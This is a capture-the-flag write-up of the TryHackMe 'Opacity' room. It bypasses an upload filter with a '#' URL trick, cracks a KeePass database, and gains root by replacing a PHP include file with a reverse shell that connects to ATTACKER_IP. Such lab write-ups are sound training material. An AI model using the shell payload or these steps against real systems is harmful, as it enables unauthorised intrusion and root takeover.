TryHackMe: Opacity write-up

In this article, we’re gonna dive into the solution for the “Opacity” challenge. Our goal is to bypass a file-upload filter and exploit Linux permissions to get root access.

Link https://tryhackme.com/room/opacity

Difficulty: Easy

Authors: tryhackme, mindsflee

Initial enumeration

First, we need to map the machine’s IP address to opacity.thm in our hosts file and do an Nmap scan, which reveals the following information:

...
Discovered open port 22/tcp on 10.10.13.142
Discovered open port 80/tcp on 10.10.13.142
Discovered open port 139/tcp on 10.10.13.142
Discovered open port 445/tcp on 10.10.13.142
...

We discovered an SSH service, a web server, and an SMB service running on the machine. I started the enumeration with enum4linux, but it didn’t provide any interesting information. So, I moved on to the web app. Opening opacity.thm in the browser led me to a login page. A review of the source code didn’t reveal anything significant, and there was no robots.txt file to guide us to other app pages. I then used GoBuster, which produced these results:

===============================================================
2023/04/10 12:36:26 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 302) [Size: 0] [--> login.php]
/login.php            (Status: 200) [Size: 848]              
/css                  (Status: 301) [Size: 308] [--> http://opacity.thm/css/]
/logout.php           (Status: 302) [Size: 0] [--> login.php]                
/cloud                (Status: 301) [Size: 310] [--> http://opacity.thm/cloud/]

Web service exploit and initial access

Heading to http://opacity.thm/cloud, we find an image upload service. It needs a URL to upload the image from, which is then saved it in the /cloud/images directory. We might be able to use this to upload a reverse shell script instead of an image.

I downloaded pentestmonkey’s reverse shell and configured the IP and port parameters and then set up a Python3 HTTP server on my machine. When I attempted to upload the shell, I received an error message saying, “Please select an image.” In contrast, uploading a standard PNG image proceeded without any problems. This led me to conclude that the web app filters files according to their extensions.

To gain a better understanding of how the service works, I started a netcat listener and directed the website to it. Here is the output:

$ nc -vlnp 8000
listening on [any] 8000 ...
connect to [10.8.46.10] from (UNKNOWN) [10.10.99.102] 37516
GET /demo.png HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 10.8.46.10:8000
Connection: Keep-Alive

Checking the User-Agent field in the headers, it looks like the web app uses wget to download the images. We can guess that the app makes a system call to wget and passes the URL as an argument.

Let’s try to bypass the filter by using a ‘#’ symbol at the end of the upload URL and adding some fake image filename at the end, like this: http://YOUR_IP/revshell.php#img.jpg

This string will get past the filter because it technically has a valid image extension at the end. However, when passed to wget, this string will be truncated at the # sign (which is a comment in a shell script) and everything after # will be ignored.

All we have to do now is open a netcat listener on our machine, go to http://opacity.thm/cloud/images/revshell.php, and bam! We get an initial shell on the target machine as www-data.

Lateral movement and first flag

After taking a look in the /home directory and /passwd file, I noticed that there is one user on the system, sysadmin. Inside his home directory, I found the user flag and an interesting directory called scripts, both of which are inaccessible to www-data.

As I continued to explore the system, I discovered a suspicious file, /opt/dataset.kdbx. I set up a quick Python web server on the target machine and downloaded the file to my machine. We now have a KeePass database file, which is great because we can attempt to crack its master password.

To do this, I used the keepass2john utility to convert the database file into a hash file for John the Ripper, a popular open-source password cracking tool. Then, I ran John to start the password cracking process:

$ keepass2john dataset.kdbx > forjohn
$ john --wordlist=/usr/share/wordlists/rockyou.txt forjohn

Loaded 1 password hash (KeePass [SHA256 AES 32/64 OpenSSL])
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
7418*****          (dataset.kdbx)
1g 0:00:00:02 DONE 1/3 (2023-04-10 14:32) 0.4782g/s 6842Kp/s 6842Kc/s 6842KC/s  12345678..987654321
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Upon successfully accessing the KeePass database, I discovered the password for the ‘sysadmin’ user. With this information, we can now securely log into the target system using SSH, which provides a more stable and reliable shell compared to the reverse PHP shell we had earlier. Once logged in, we can examine the contents of the ‘scripts’ directory associated with the ‘sysadmin’ user and get the user flag.

Root access

I proceeded to upload pspy onto the machine and began examining the script.php file located within the “scripts” directory. Pspy disclosed that the root user runs /home/sysadmin/scripts/script.php every 5 minutes.

A review of the code revealed that the script carries out two tasks: firstly, it compresses the contents of the “scripts” directory and saves the resulting archive as /var/backups/backup.zip; secondly, it removes all files contained in /var/www/html/cloud/images.

The custom zipData() function in script.php presents a promising opportunity for exploitation to obtain root access. This function is defined in the lib/backup.inc.php file. However, due to insufficient permissions, it appears that we are unable to modify either script.php or backup.inc.php:

sysadmin@opacity:~/scripts$ ls -alh
total 16K
drwxr-xr-x 3 root     root     4.0K Jul  8  2022 .
drwxr-xr-x 6 sysadmin sysadmin 4.0K Feb 22 08:16 ..
drwxr-xr-x 2 sysadmin root     4.0K Jul 26  2022 lib
-rw-r----- 1 root     sysadmin  519 Jul  8  2022 script.php

sysadmin@opacity:~/scripts$ ls -alh lib
total 132K
drwxr-xr-x 2 sysadmin root 4.0K Jul 26  2022 .
drwxr-xr-x 3 root     root 4.0K Jul  8  2022 ..
-rw-r--r-- 1 root     root 9.3K Jul 26  2022 application.php
-rw-r--r-- 1 root     root  967 Jul  6  2022 backup.inc.php
-rw-r--r-- 1 root     root  24K Jul 26  2022 bio2rdfapi.php
-rw-r--r-- 1 root     root  11K Jul 26  2022 biopax2bio2rdf.php
-rw-r--r-- 1 root     root 7.5K Jul 26  2022 dataresource.php
-rw-r--r-- 1 root     root 4.8K Jul 26  2022 dataset.php
-rw-r--r-- 1 root     root 3.2K Jul 26  2022 fileapi.php
-rw-r--r-- 1 root     root 1.3K Jul 26  2022 owlapi.php
-rw-r--r-- 1 root     root 1.5K Jul 26  2022 phplib.php
-rw-r--r-- 1 root     root  11K Jul 26  2022 rdfapi.php
-rw-r--r-- 1 root     root  17K Jul 26  2022 registry.php
-rw-r--r-- 1 root     root 6.8K Jul 26  2022 utils.php
-rwxr-xr-x 1 root     root 3.9K Jul 26  2022 xmlapi.php

What we can modify is the lib directory itself as we are the owner and have read, write, and execute permissions for it. I proceeded to copy the contents of the backup.inc.php file, delete the original file, and create a new version of backup.inc.php containing a reverse shell:

<?php

ini_set('max_execution_time', 600);
ini_set('memory_limit', '1024M');

function zipData($source, $destination) {
        $sock=fsockopen("ATTACKER_IP",9001);
        system("sh <&3 >&3 2>&3");
}
?>

Subsequently, I set up a netcat listener on my local machine, and after a brief period, I successfully received a connection back as the root user:

nc -vlnp 9001
Listening on [0.0.0.0] (family 0, port 9001)
Connection from [10.10.13.142] port 9001 [tcp/*] accepted (family 2, sport 56789)
id
uid=0(root) gid=0(root) groups=0(root)
ls
proof.txt
snap
cat proof.txt
[REDACTED]

Conclusion

In this article, we delved into the “Opacity” challenge, showcasing the process of bypassing a file-upload filter and exploiting Linux permissions to gain root access. Through careful enumeration of the target system, we managed to outsmart the file extension filter and cracked a KeePass database to obtain the ‘sysadmin’ password. By abusing a custom PHP function we ultimately achieved root access.

In the cyber world, coffee is the potion of champions. Support my efforts by offering me a virtual cup through 'Buy Me a Coffee'! Let's unravel the enigmas of CTF challenges and fortify our cyber arsenals together!

1 thought on “TryHackMe: Opacity write-up”

Leave a reply

Your email address will not be published. Required fields are marked *